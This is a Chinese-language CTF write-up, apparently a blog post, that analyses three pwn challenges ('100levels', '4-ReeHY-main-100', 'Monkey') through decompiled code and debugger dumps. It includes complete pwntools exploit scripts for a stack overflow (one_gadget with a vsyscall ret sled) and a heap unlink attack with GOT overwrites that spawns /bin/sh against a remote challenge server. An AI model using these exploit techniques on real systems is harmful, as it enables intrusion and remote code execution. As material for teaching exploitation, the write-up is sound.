.text:0000000000000C33                 cmp     rax, 63h
.text:0000000000000C37                 jle     short loc_C52
.text:0000000000000C39                 lea     rdi, aYouAreBeingARe ; "You are being a real man."
.text:0000000000000C40                 call    _puts
.text:0000000000000C45                 mov     [rbp+var_108], 64h
.text:0000000000000C50                 jmp     short loc_C60
.text:0000000000000C52 ; ---------------------------------------------------------------------------

​ 可以看到输入的 level 和 anymore 的值,相加后输入了[rbp+var_110]的位置,这个位置在hint函数中存储的是 system 函数的地址,而且根据程序逻辑:

int go()
{
  int v1; // ST0C_4
  __int64 v2; // [rsp+0h] [rbp-120h]
  __int64 v3; // [rsp+0h] [rbp-120h]
  int v4; // [rsp+8h] [rbp-118h]
  __int64 v5; // [rsp+10h] [rbp-110h]
  signed __int64 v6; // [rsp+10h] [rbp-110h]
  signed __int64 v7; // [rsp+18h] [rbp-108h]
  __int64 v8; // [rsp+20h] [rbp-100h]

  puts("How many levels?");
  v2 = get_input("How many levels?");
  if ( v2 > 0 )  // 这里可以看到当我们输入的值不大于0的时候,不会覆盖 [rbp+var_110] 处system函数的地址
    v5 = v2;
  else
    puts("Coward");
  puts("Any more?");
  v3 = get_input("Any more?");
  v6 = v5 + v3;
  if ( v6 > 0 )
  {
    if ( v6 <= 99 )
    {
      v7 = v6;
    }
    else
    {
      puts("You are being a real man.");
      v7 = 100LL;
    }
    puts("Let's go!'");
    v4 = time(0LL);
    if ( (unsigned int)question(v7) != 0 )
    {
      v1 = time(0LL);
      sprintf((char *)&v8, "Great job! You finished %d levels in %d seconds\n", v7, (unsigned int)(v1 - v4), v3);
      puts((const char *)&v8);
    }
    else
    {
      puts("You failed.");
    }
    exit(0);
  }
  return puts("Coward Coward Coward Coward Coward");
}

​ 由于给了 libc,我们可以让相加后的值为 one_gadget 的地址,然后再从 go 函数进入 question 函数的时候,可以控制 rip 的值到 我们修改的位置处执行:

_BOOL8 __fastcall question(signed int a1)
{
  int v2; // eax
  __int64 v3; // rax
  __int64 buf; // [rsp+10h] [rbp-30h]
  __int64 v5; // [rsp+18h] [rbp-28h]
  __int64 v6; // [rsp+20h] [rbp-20h]
  __int64 v7; // [rsp+28h] [rbp-18h]
  unsigned int v8; // [rsp+34h] [rbp-Ch]
  unsigned int v9; // [rsp+38h] [rbp-8h]
  unsigned int v10; // [rsp+3Ch] [rbp-4h]

  buf = 0LL;
  v5 = 0LL;
  v6 = 0LL;
  v7 = 0LL;
  if ( !a1 )
    return 1LL;
  if ( (unsigned int)question((unsigned int)(a1 - 1)) == 0 )
    return 0LL;
  v10 = rand() % a1;
  v2 = rand();
  v9 = v2 % a1;
  v8 = v2 % a1 * v10;
  puts("====================================================");
  printf("Level %d\n", (unsigned int)a1);
  printf("Question: %d * %d = ? Answer:", v10, v9);
  read(0, &buf, 0x400uLL);
  v3 = strtol((const char *)&buf, 0LL, 10);
  return v3 == v8;
}

​ 可以看到 buffer 距离 rbp 的距离为 0x30,所以我们只需要构造如下栈布局:

"a"*0x30+"b"*8+old_ret+ret+ret
                   | 
                   rbp+120h 处

​ 但是由于我们不知道rop的地址,所以可以使用 vsyscall:

gdb-peda$ x/5i 0xffffffffff600000
   0xffffffffff600000:  mov    rax,0x60
   0xffffffffff600007:  syscall 
   0xffffffffff600009:  ret    
   0xffffffffff60000a:  int3   
   0xffffffffff60000b:  int3

​ 最终版的 exp:

#!/usr/bin/env python

from pwn import *

context.log_level = 'debug' 
io = process('./100levels')
io = remote("111.198.29.45", 30742)
one_gadget = 0x4526a
system_offset = 0x45390
ret_addr = 0xffffffffff600000

def go(levels, more):
    io.sendlineafter("Choice:\n", '1')
    io.sendlineafter("levels?\n", str(levels))
    io.sendlineafter("more?\n", str(more))

def hint():
    io.sendlineafter("Choice:\n", '2')

if __name__ == "__main__":
    hint()
    go(0, one_gadget - system_offset)

    for i in range(99):
        io.recvuntil("Question: ")
        a = int(io.recvuntil(" ")[:-1])
        io.recvuntil("* ")
        b = int(io.recvuntil(" ")[:-1])
        io.sendlineafter("Answer:", str(a * b))

    payload  = 'A' * 0x30   # buffer
    payload += 'B' * 0x8    # rbp
    payload += p64(ret_addr) * 3
    io.sendafter("Answer:", payload)
    
    io.interactive()

4-ReeHY-main-100

nevv@ubuntu:~/Desktop$ checksec 4-ReeHY-main 
[*] '/home/nevv/Desktop/4-ReeHY-main'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

​ 经典菜单题,先看添加函数,dword_6020AC 处存储分配的chuk,最多5个,输入大小的时候当大于 0x70 的时候直接复制到堆上,小于的时候会先复制到栈上,然后再复制到堆中。

​ create 函数:

signed int create()
{
  signed int result; // eax
  char buf; // [rsp+0h] [rbp-90h]
  void *dest; // [rsp+80h] [rbp-10h]
  int v3; // [rsp+88h] [rbp-8h]
  size_t nbytes; // [rsp+8Ch] [rbp-4h]

  result = dword_6020AC;
  if ( dword_6020AC <= 4 )
  {
    puts("Input size");
    result = get_input();
    LODWORD(nbytes) = result; // rax返回值的低2字
    if ( result <= 4096 )
    {
      puts("Input cun");
      result = get_input();
      v3 = result;
      if ( result <= 4 )
      {
        dest = malloc((signed int)nbytes);
        puts("Input content");
        if ( (signed int)nbytes > 0x70 )
        {
          read(0, dest, (unsigned int)nbytes);
        }
        else
        {
          read(0, &buf, (unsigned int)nbytes); 
          memcpy(dest, &buf, (signed int)nbytes);
        }
        *(_DWORD *)(qword_6020C0 + 4LL * v3) = nbytes;
        *((_QWORD *)&unk_6020E0 + 2 * v3) = dest;
        dword_6020E8[4 * v3] = 1;
        ++dword_6020AC;
        result = fflush(stdout);
      }
    }
  }
  return result;
}

​ get_input 函数:

__int64 get_input()
{
  char buf; // [rsp+2h] [rbp-Eh]

  read(0, &buf, 10uLL);
  return (unsigned int)atoi(&buf);
}

​ edit 函数:

signed int edit()
{
  signed int result; // eax
  signed int v1; // [rsp+Ch] [rbp-4h]

  puts("Chose one to edit");
  result = get_input();
  v1 = result;
  if ( result <= 4 )
  {
    result = chunk_inuse[4 * result];
    if ( result == 1 )
    {
      puts("Input the content");
      read(0, *((void **)&chunk_addr + 2 * v1), *(unsigned int *)(4LL * v1 + chunk_size));
      result = puts("Edit success!");
    }
  }
  return result;
}

​ show函数没什么卵用

​ delete 函数:

__int64 delete()
{
  __int64 result; // rax
  int v1; // [rsp+Ch] [rbp-4h]

  puts("Chose one to dele");
  result = get_input();
  v1 = result;
  if ( (signed int)result <= 4 )
  {
    free(*((void **)&chunk_addr + 2 * (signed int)result)); // 这里free后没有置为空,存在uaf
    chunk_inuse[4 * v1] = 0;
    puts("dele success!");
    result = (unsigned int)(chunk_num-- - 1);
  }
  return result;
}   

利用:

​ 经过以上简单分析,我们注意到在delete函数中没有检测索引是负数的情况,而且在free后指针没有置为空,存在UAF,这是两个漏洞点可以给利用提供一些思路。

  • edit函数中,修改内容的时候会到数组中去取size大小,然后根据之前的size大小修改
  • create函数中,大于0x70的时候直接复制,小于的时候会把数据先拷贝到栈上
  • 联想到程序的防御机制,应该是想让我们用got表地址做文章
  • gdb 调试栈和堆的内容如下:
pwndbg> x /30gx 0x603000
0x603000:   0x0000000000000000  0x0000000000000021
0x603010:   0x0000000300000002  0x0000000000000004 // 存储chunk content大小
0x603020:   0x0000000000000000  0x0000000000000031
0x603030:   0x0000000a656d616e  0x0000000000000000
0x603040:   0x0000000000000000  0x0000000000000000 // 不知道是什么,再往后是添加的三个chunk
0x603050:   0x0000000000000000  0x0000000000000021
0x603060:   0x0000000000000a31  0x0000000000000000
0x603070:   0x0000000000000000  0x0000000000000021
0x603080:   0x00000000000a3231  0x0000000000000000
0x603090:   0x0000000000000000  0x0000000000000021
0x6030a0:   0x000000000a333231  0x0000000000000000
0x6030b0:   0x0000000000000000  0x0000000000020f51
0x6030c0:   0x0000000000000000  0x0000000000000000
0x6030d0:   0x0000000000000000  0x0000000000000000
0x6030e0:   0x0000000000000000  0x0000000000000000
pwndbg> x /30gx 0x6020AC
0x6020ac:   0x0000000000000003  0x0000000000000000 // chunk_sum 字段
0x6020bc:   0x0060301000000000  0x0000000000000000 // 存储指向 chunk content 的指针
0x6020cc:   0x0000000000000000  0x0000000000000000
0x6020dc:   0x0060306000000000  0x0000000100000000 // 存储三个chunk的地址 以及 inuse 字段
0x6020ec:   0x0060308000000000  0x0000000100000000
0x6020fc:   0x006030a000000000  0x0000000100000000
0x60210c:   0x0000000000000000  0x0000000000000000
0x60211c:   0x0000000000000000  0x0000000000000000
0x60212c:   0x0000000000000000  0x0000000000000000
0x60213c:   0x0000000000000000  0x0000000000000000
0x60214c:   0x0000000000000000  0x0000000000000000
0x60215c:   0x0000000000000000  0x0000000000000000
0x60216c:   0x0000000000000000  0x0000000000000000
0x60217c:   0x0000000000000000  0x0000000000000000
0x60218c:   0x0000000000000000  0x0000000000000000
  • 新建 A B C
  • free content_chunk,新建D(指向的区域是 content chunk),通过修改D修改A chunk的size
  • 修改之前的chunk A,造成溢出,覆盖B的pre_size和size字段的标志位
  • 联想到题目中有堆地址可以用,因此我们可以构造 unlink,修改堆指针指向存储了堆数组的之前 0x18 字节处

但是现在我们依然无法得知system函数的地址,可以采用如下办法:

  • 修改三个chunk地址依次为free_got,puts_got,atoi_got
  • 通过edit chunk A 修改free函数的got表为puts函数的plt地址,这里修改有个坑点不能使用sendline,不然会报错
  • 修改后使用free(chunk B),打印出puts函数的got表地址,泄漏出libc,修改atoi为sysytem函数地址
  • 最后使用atoi传递bin/sh函数getshell

exp:

#!/usr/bin/env python

from pwn import *

context.log_level = 'debug' 
# p = process('./4-ReeHY-main')
elf = ELF('./4-ReeHY-main')
p = remote('111.198.29.45', 30999)

p.recv()
p.sendline("hello")

def create(size,cun,content):
    p.recvuntil("$")
    p.sendline("1")
    p.recv()
    p.sendline(str(size))
    p.recv()
    p.sendline(str(cun))
    p.recv()
    p.sendline(content)


def delete(index):
    p.recvuntil("$")
    p.sendline("2")
    p.recv()
    p.sendline(str(index))


def edit(index,content):
    p.recvuntil("$")
    p.sendline("3")
    p.recv()
    p.sendline(str(index))
    p.recv()
    p.sendline(content)

heap_ptr = 0x6020e0

create(0x80,0,"a"*0x80)
create(0x80,1,"a"*0x80)
create(0x80,2,"a"*0x80)

delete(-2)  # free the chunk of saving chunk's size

create(0x10,3,p32(0x80*2)+p32(0x80)+p32(0x80)+p32(0)) 
# malloc and edit the chunk we just free

# --------- prepare to create a fake chunk ---------

payload = p64(0) + p64(0x81) 
# presize and size
payload = payload + p64(heap_ptr-0x18) + p64(heap_ptr-0x10)
# fd and bk to unlink   
payload += (0x80-len(payload)) * "a"

payload += p64(0x80)
payload += p64(0x90)
#  chunk1's fd and bk 
edit(0,payload)

delete(1) # unlink 


edit(0, p64(0)*3 + p64(elf.got['free']) + p64(1) + p64(elf.got["puts"]) + p64(1) + p64(elf.got["atoi"]) + p64(1))

p.recvuntil("$")
p.sendline("3")
p.recv()
p.sendline(str(0))
p.recv()
p.send(p64(elf.plt["puts"]))
# modify free_got to puts()

delete(1)
p.recvuntil("Chose one to dele\n")

puts_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_addr = puts_addr - 0x06f690
system = libc_addr + 0x045390
print hex(puts_addr)

edit(2, p64(system))

p.sendline("/bin/sh;")
# gdb.attach(p)
p.interactive()

Monkey

mozilla 的 js shell
执行 os.system('/bin/sh'),然后 cat flag即可

参考链接:

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,921评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 87,635评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 151,393评论 0 338
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,836评论 1 277
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,833评论 5 368
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,685评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,043评论 3 399
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,694评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 42,671评论 1 300
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,670评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,779评论 1 332
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,424评论 4 321
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,027评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,984评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,214评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,108评论 2 351
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,517评论 2 343

推荐阅读更多精彩内容

  • 网鼎杯第一场wp guess防护机制:image.png 开启了canary和NX 简单的看了下反编译的逻辑 发现...
    zs0zrc阅读 1,976评论 0 4
  • week1 babysc 思路 :shellcode 对应(index + 1)异或处理后再执行 exp aaaa...
    fantasy_learner阅读 1,056评论 0 0
  • X-man-A face:这道题是二维码补图的题,用ps将那两个空的角补全就好了,扫码可以得到一串base64加密...
    zs0zrc阅读 913评论 0 0
  • Lua 5.1 参考手册 by Roberto Ierusalimschy, Luiz Henrique de F...
    苏黎九歌阅读 13,733评论 0 38
  • 沉淀在寂寞深处,不忘记一株花开。 从容在泥泞之间,仍守候一只燕来。 许下的心愿,落下的往事,随墨铺展, 因为不敢,...
    春余清歌阅读 320评论 0 2